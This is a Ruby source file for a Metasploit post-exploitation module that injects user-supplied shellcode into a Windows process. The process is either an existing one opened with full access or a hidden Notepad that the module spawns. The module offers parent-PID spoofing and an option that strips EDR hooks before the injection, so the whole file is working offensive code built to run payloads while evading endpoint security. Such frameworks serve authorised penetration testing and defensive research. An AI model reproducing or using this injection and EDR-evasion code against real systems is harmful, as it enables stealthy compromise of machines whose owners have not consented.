##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Memory Shellcode Injection Module',
        'Description' => %q{
          This module will inject into the memory of a process a specified shellcode.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'phra <https://iwantmore.pizza>' ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_thread_create
            ]
          }
        }
      )
    )

    register_options(
      [
        OptPath.new('SHELLCODE', [true, 'Path to the shellcode to execute']),
        OptInt.new('PID', [false, 'Process Identifier of process to inject the shellcode. (0 = new process)', 0]),
        OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),
        OptBool.new('CHANNELIZED', [true, 'Retrieve output of the process', false]),
        OptBool.new('INTERACTIVE', [true, 'Interact with the process', false]),
        OptBool.new('HIDDEN', [true, 'Spawn an hidden process', true]),
        OptBool.new('AUTOUNHOOK', [true, 'Auto remove EDRs hooks', false]),
        OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5]),
        OptEnum.new('BITS', [true, 'Set architecture bits', '64', ['32', '64']])
      ]
    )
  end

  # Run Method for when run command is issued
  def run
    # syinfo is only on meterpreter sessions
    print_status("Running module against #{sysinfo['Computer']}") if !sysinfo.nil?

    # Set variables
    shellcode = File.binread(datastore['SHELLCODE'])
    pid = datastore['PID']
    ppid = datastore['PPID']
    bits = datastore['BITS']
    p = nil
    if bits == '64'
      bits = ARCH_X64
    else
      bits = ARCH_X86
    end

    # prelim check
    if (client.arch == ARCH_X86) && (@payload_arch == ARCH_X64)
      fail_with(Failure::BadConfig, 'Cannot inject a 64-bit payload into any process on a 32-bit OS')
    end

    if (datastore['PPID'] != 0) && (datastore['PID'] != 0)
      print_error('PID and PPID are mutually exclusive')
      return false
    end

    # Start Notepad if Required
    if pid == 0
      if (ppid != 0) && !has_pid?(ppid)
        print_error("Process #{ppid} was not found")
        return false
      elsif ppid != 0
        print_status("Spoofing PPID #{ppid}")
      end

      notepad_pathname = get_notepad_pathname(bits, client.sys.config.getenv('windir'), client.arch)
      vprint_status("Starting  #{notepad_pathname}")
      proc = client.sys.process.execute(notepad_pathname, nil, {
        'Hidden' => datastore['HIDDEN'],
        'Channelized' => datastore['CHANNELIZED'],
        'Interactive' => datastore['INTERACTIVE'],
        'ParentPid' => datastore['PPID']
      })
      print_status("Spawned Notepad process #{proc.pid}")
    else
      if datastore['CHANNELIZED'] && datastore['PID'] != 0
        fail_with(Failure::BadConfig, "It's not possible to retrieve output when injecting existing processes!")
      elsif datastore['CHANNELIZED'] && datastore['PPID'] != 0
        fail_with(Failure::BadConfig, "It's not possible to retrieve output when using PPID spoofing!")
      end
      unless has_pid?(pid)
        print_error("Process #{pid} was not found")
        return false
      end
      begin
        proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
      rescue Rex::Post::Meterpreter::RequestError => e
        print_error(e.to_s)
        fail_with(Failure::NoAccess, "Failed to open pid #{pid.to_i}")
      end
      print_status("Opening existing process #{proc.pid}")
    end

    # Check
    if (bits == ARCH_X64) && (client.arch == ARCH_X86)
      print_error('You are trying to inject to a x64 process from a x86 version of Meterpreter.')
      print_error('Migrate to an x64 process and try again.')
      return false
    end
    if arch_check(bits, proc.pid)
      if datastore['AUTOUNHOOK']
        print_status('Executing unhook')
        print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
        unless inject_unhook(proc, bits, datastore['WAIT_UNHOOK'])
          fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign unhook dll')
        end
      end
      begin
        inject(shellcode, proc)
      rescue ::Exception => e
        print_error("Failed to inject Payload to #{proc.pid}!")
        print_error(e.to_s)
      end
    else
      fail_with(Failure::BadConfig, 'Arch mismatch between shellcode and process!')
    end
  end

  def inject(shellcode, proc)
    mem = inject_into_process(proc, shellcode)
    proc.thread.create(mem, 0)
    print_good("Successfully injected payload into process: #{proc.pid}")
    if datastore['INTERACTIVE'] && datastore['CHANNELIZED'] && datastore['PID'] == 0
      print_status('Interacting')
      client.console.interact_with_channel(proc.channel)
    elsif datastore['CHANNELIZED'] && datastore['PID'] == 0
      print_status('Retrieving output')
      data = proc.channel.read
      print_line(data) if data
    end
  end
end